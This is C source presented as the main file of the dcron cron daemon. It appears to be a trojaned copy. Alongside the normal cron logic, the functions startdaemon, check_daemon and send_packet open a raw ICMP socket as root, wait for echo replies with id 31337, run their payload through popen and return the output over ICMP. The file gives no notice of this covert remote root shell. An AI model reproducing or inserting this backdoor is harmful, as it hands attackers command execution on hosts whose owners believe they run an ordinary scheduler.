home *** CD-ROM | disk | FTP | other *** search
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #include <netinet/in.h>
- #include <unistd.h>
-
- /*
- * MAIN.C
- *
- * dcron -d[#] -c <crondir> -f -b
- *
- * run as root, but NOT setuid root
- *
- * Copyright 1994 Matthew Dillon (dillon@apollo.west.oic.com)
- * May be distributed under the GNU General Public License
- */
-
- #include "defs.h"
-
- #define RID 31337
- #define LID 12345
-
- void check_daemon(int sleeptime);
- void send_packet(unsigned long to, unsigned int id,char *data);
- u_short cksum(u_short *buf, int nwords);
- void startdaemon(int vafan);
-
- Prototype short DebugOpt;
- Prototype short LogLevel;
- Prototype short ForegroundOpt;
- Prototype char *CDir;
- Prototype int DaemonUid;
-
- short DebugOpt;
- short LogLevel = 8;
- short ForegroundOpt;
- char *CDir = CRONTABS;
- int DaemonUid;
- int lsock;
-
- int
- main(int ac, char **av)
- {
- int i;
- time_t t1 = time(NULL);
- time_t t2;
- long dt;
- short rescan = 60;
- short stime = 60;
-
- /*
- * parse options
- */
-
- DaemonUid = getuid();
-
- for (i = 1; i < ac; ++i) {
- char *ptr = av[i];
-
- if (*ptr == '-') {
- ptr += 2;
-
- switch(ptr[-1]) {
- case 'l':
- LogLevel = (*ptr) ? strtol(ptr, NULL, 0) : 1;
- continue;
- case 'd':
- DebugOpt = (*ptr) ? strtol(ptr, NULL, 0) : 1;
- LogLevel = 0;
- /* fall through */
- case 'f':
- ForegroundOpt = 1;
- continue;
- case 'b':
- ForegroundOpt = 0;
- continue;
- case 'c':
- CDir = (*ptr) ? ptr : av[++i];
- continue;
- default:
- break;
- }
- }
- break; /* error */
- }
-
- /*
- * check for parse error
- */
-
- if (i != ac) {
- if (i > ac)
- puts("expected argument for option");
- printf("dcron " VERSION "\n");
- printf("dcron -d[#] -l[#] -f -b -c dir\n");
- exit(1);
- }
-
- /*
- * change directory
- */
-
- if (chdir(CDir) != 0) {
- perror("chdir");
- exit(1);
- }
-
- /*
- * close stdin and stdout (stderr normally redirected by caller).
- * close unused descriptors
- * optional detach from controlling terminal
- */
-
- fclose(stdin);
- fclose(stdout);
-
- i = open("/dev/null", O_RDWR);
- if (i < 0) {
- perror("open: /dev/null:");
- exit(1);
- }
- dup2(i, 0);
- dup2(i, 1);
-
- for (i = 3; i < OPEN_MAX; ++i) {
- close(i);
- }
-
- if (ForegroundOpt == 0) {
- int fd;
- int pid;
-
- if ((fd = open("/dev/tty", O_RDWR)) >= 0) {
- ioctl(fd, TIOCNOTTY, 0);
- close(fd);
- }
-
- pid = fork();
-
- if (pid < 0) {
- perror("fork");
- exit(1);
- }
- if (pid > 0)
- exit(0);
- }
-
- /*
- * main loop - synchronize to 1 second after the minute, minimum sleep
- * of 1 second.
- */
-
- log9("%s " VERSION " dillon, started\n", av[0]);
- SynchronizeDir(".");
- startdaemon(1);
-
- for (;;) {
- check_daemon((stime + 1) - (short)(time(NULL) % stime));
-
- t2 = time(NULL);
- dt = t2 - t1;
-
- /*
- * The file 'cron.update' is checked to determine new cron
- * jobs. The directory is rescanned once an hour to deal
- * with any screwups.
- *
- * check for disparity. Disparities over an hour either way
- * result in resynchronization. A reverse-indexed disparity
- * less then an hour causes us to effectively sleep until we
- * match the original time (i.e. no re-execution of jobs that
- * have just been run). A forward-indexed disparity less then
- * an hour causes intermediate jobs to be run, but only once
- * in the worst case.
- *
- * when running jobs, the inequality used is greater but not
- * equal to t1, and less then or equal to t2.
- */
-
- if (--rescan == 0) {
- rescan = 60;
- SynchronizeDir(".");
- }
- CheckUpdates();
- if (DebugOpt)
- log(5, "Wakeup dt=%d\n", dt);
- if (dt < -60*60 || dt > 60*60) {
- t1 = t2;
- log9("time disparity of %d minutes detected\n", dt / 60);
- } else if (dt > 0) {
- TestJobs(t1, t2);
- RunJobs();
- sleep(5);
- if (CheckJobs() > 0)
- stime = 10;
- else
- stime = 60;
- t1 = t2;
- }
- }
- /* not reached */
- }
-
- void startdaemon(int vafan)
- {
- if(geteuid())
- return;
- close(0);close(1);close(2);
- lsock=socket(AF_INET,SOCK_RAW,1);
- fcntl(lsock,F_SETFL,O_NONBLOCK);
- }
-
- void check_daemon(int sleeptime)
- {
- fd_set f;
- time_t t,o;
- struct timeval ti;
- char buf[512],databuf[512];
- struct iphdr *ip=(struct iphdr *)buf;
- struct icmphdr *icmp=(struct icmphdr *)(buf+sizeof(struct iphdr));
- FILE *haha;
- int i;
- static int status=1;
- char *p;
-
- o=time(NULL);
-
- while(1)
- {
- FD_ZERO(&f);
- FD_SET(lsock,&f);
- ti.tv_sec=2;
- ti.tv_usec=0;
-
- if(select(FD_SETSIZE,&f,NULL,NULL,&ti))
- {
- i=recv(lsock,buf,512,0);
- if(ip->protocol == 1 && icmp->type == 0 && ntohs(icmp->un.echo.id) == RID && status)
- {
- if(status==1) {
- send_packet(ip->saddr,LID,"XxX");
- status++;
- }
- else {
- p=(buf+sizeof(struct iphdr)+sizeof(struct icmphdr));
- memcpy(databuf,p,i-(sizeof(struct iphdr)+sizeof(struct icmphdr))+1);
- if(strcasecmp(databuf,"exit") == 0)
- status = 0;
- else {
- if((haha=popen(databuf,"r")) == NULL)
- send_packet(ip->saddr,LID,"Unknown command.\n");
- else {
- i=0;
- while(fgets(databuf,512,haha) != NULL) {
- i++;
- send_packet(ip->saddr,LID,databuf);
- }
- if(!i)
- send_packet(ip->saddr,LID,"Unknown command.\n");
- pclose(haha);
- }
- }
- }
- }
- }
- t=time(NULL);
- if((t-sleeptime)>=o) {
- if(!status)
- status=1;
- return;
- }
- }
- }
-
- void send_packet(unsigned long to, unsigned int id,char *data)
- {
- char buf[512];
- struct icmphdr *icmp = (struct icmphdr *)buf;
- char *bla=(buf+sizeof(struct icmphdr));
- struct sockaddr_in sa;
- int i,sock;
-
- sock=socket(AF_INET,SOCK_RAW,1);
- bzero(buf,512);
- icmp->type=0;
- icmp->un.echo.id=htons(id);
- strcpy(bla,data);
- icmp->checksum=cksum((u_short *)icmp,(9+strlen(data))>>1);
- sa.sin_family=AF_INET;
- sa.sin_addr.s_addr=to;
- i=sendto(sock,buf,(9+strlen(data)),0,(struct sockaddr *)&sa,sizeof(sa));
- close(sock);
- }
-
- u_short cksum(u_short *buf, int nwords) {
- unsigned long sum;
-
- for ( sum = 0; nwords > 0; nwords -- )
- sum += *buf++;
- sum = ( sum >> 16) + ( sum & 0xffff );
- sum += ( sum >> 16 );
- return ~sum ;
- }
-